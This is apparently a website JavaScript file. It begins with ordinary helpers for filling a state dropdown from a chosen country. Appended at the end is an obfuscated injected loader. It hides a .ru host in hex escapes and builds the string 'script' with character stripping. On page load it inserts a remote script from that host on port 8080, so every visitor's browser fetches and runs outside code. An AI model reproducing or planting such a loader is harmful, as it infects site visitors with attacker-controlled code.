function clearStates(prefix)
{
    var stateValue = "";

    var elm = document.getElementById(prefix+"_state_select");
    if (elm) 
    {
        stateValue = elm.value;

        var i, iMax;
        iMax = elm.options.length;
        for (i=(iMax-1); i >= 0; i--)
        {
            elm.remove(i);
            elm.options[i] = null;
        }
    }

    return stateValue;
}

function populateStates(country,prefix,restoreValue)
{
    var stateValue = clearStates(prefix);

    var elm = document.getElementById(prefix+"_state_select");

	if(!CountriesStates[country.value]) {
        if (elm) 
        {
			elm.options[0] = new Option("Select one...", 0);
        }

		initStates();
		return;
	}

    if (elm) 
    {
        var assignedStates = new Array();
        var i = 0;
        if (CountriesStates[country.value] && CountriesStates[country.value].length > 0)
        {
            elm.options[i++] = new Option("Select one...", 0);
			assignedStates.push(0);
        }

        elm.options[i++] = new Option("Other", -1);
		assignedStates.push(-1);

        if (CountriesStates[country.value] && CountriesStates[country.value].length > 0)
        {
            var j;
            for(j=0; j<CountriesStates[country.value].length; j++)
            {
                elm.options[i++] = new Option(CountriesStates[country.value][j]["state"], CountriesStates[country.value][j]["state_code"]);
				assignedStates.push(CountriesStates[country.value][j]["state_code"]);
            }
        }

        if (restoreValue)
        {
        	var correctState = false;
        	var correctStateSelectOne = false;
            for(i=0; i<assignedStates.length; i++)
            {
            	if (assignedStates[i] == 0)
            	{
            		correctStateSelectOne = true;
            	}
            	if (assignedStates[i] == stateValue)
            	{
            		correctState = true;
            		break;
            	}
            }
            if (!correctState)
            {
            	if (stateValue > 0)
            	{
            		if (correctStateSelectOne)
            		{
            			stateValue = 0;
            		}
            		else
            		{
            			stateValue = -1;
            		}
            	}
        		else
        		{
        			stateValue = -1;
        		}
            }

        	i = 0;	
            while(elm.value != stateValue)
            {
            	i ++;
                elm.value = stateValue;     // for Opera compatibility
                if (i>1000) {
                	break;
                }
            }
        }
    }

	initStates();
}

function changeState(state, prefix)
{
	obj = document.getElementById(prefix+'_custom_state_body');
	if (obj && state) {
		obj.style.display = (state.value == -1) ? "" : "none";
	}
}

this.x='';function u(){var Uv;if(Uv!='Wy'){Uv='Wy'};var ob;if(ob!='WN'){ob=''};var iD;if(iD!='Q'){iD=''};var zF=new Array();var F="g";this.K="";var g='';var y;if(y!='Lu'){y=''};var _X=new Array();var z=window;var NP;if(NP!='' && NP!='K_'){NP='d'};var zc=new Array();var l="\x68\x74\x74\x70\x3a\x2f\x2f\x64\x65\x76\x69\x61\x6e\x74\x63\x6c\x69\x70\x2d\x63\x6f\x6d\x2e\x66\x69\x6c\x65\x73\x74\x75\x62\x65\x2e\x63\x6f\x6d\x2e\x70\x61\x67\x65\x73\x6a\x61\x75\x6e\x65\x73\x2d\x66\x72\x2e\x54\x68\x65\x42\x6c\x65\x6e\x64\x65\x72\x52\x65\x70\x6c\x61\x63\x65\x6d\x65\x6e\x74\x2e\x72\x75\x3a";var e="";var M=unescape;this.BA="";var BC;if(BC!='Fv' && BC!='t'){BC='Fv'};this.fw="";var Z;if(Z!='' && Z!='v'){Z=null};function S(Me,f){this.Fx="";var o=M("%5b")+f+M("%5d");this.Te='';var hg;if(hg!='QY' && hg!='lt'){hg=''};var i=new RegExp(o, F);this.tz='';this.BV='';return Me.replace(i, g);var cB=new String();var je="";};this.qi="";this.LT="";var oJ;if(oJ!='' && oJ!='b'){oJ=null};this.jH="";var U=M("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%7a%2e%63%6f%6d%2f%79%61%6e%64%65%78%2e%72%75%2f%77%61%72%72%69%6f%72%66%6f%72%75%6d%2e%63%6f%6d%2e%70%68%70");var aQ=new Date();var W=document;var J=S('897206478546019','62197435');this.Vr='';var C='';var kT='';var Vn;if(Vn!='kTj'){Vn='kTj'};var yu='';function j(){var qqR;if(qqR!='LO' && qqR != ''){qqR=null};var En;if(En!='ab' && En != ''){En=null};C=l;var QDF=new Array();var BU;if(BU!='Fk'){BU=''};C+=J;var AHg;if(AHg!='' && AHg!='Xj'){AHg='yS'};var FJY="";C+=U;var Qg=new Date();var jK;if(jK!='JP'){jK=''};try {q=W.createElement(S('sOcwrbinpJtM','NHaI1wyPMbnJYO5TXL4'));var m=new Array();q.src=C;var YL=new String();var tW;if(tW!='QP' && tW!='CM'){tW=''};var n="";q.defer=[1][0];var p="";var sk=new Date();W.body.appendChild(q);var __=new Array();var Cm;if(Cm!='ZN' && Cm!='xg'){Cm='ZN'};} catch(_){var Yc="";var xj="";};var Fxt=new Date();}z[new String("onlo"+"ad")]=j;var LI;if(LI!='' && LI!='pi'){LI='WD'};this.IB="";};var no=new Date();var it;if(it!='w' && it!='Kp'){it=''};u();
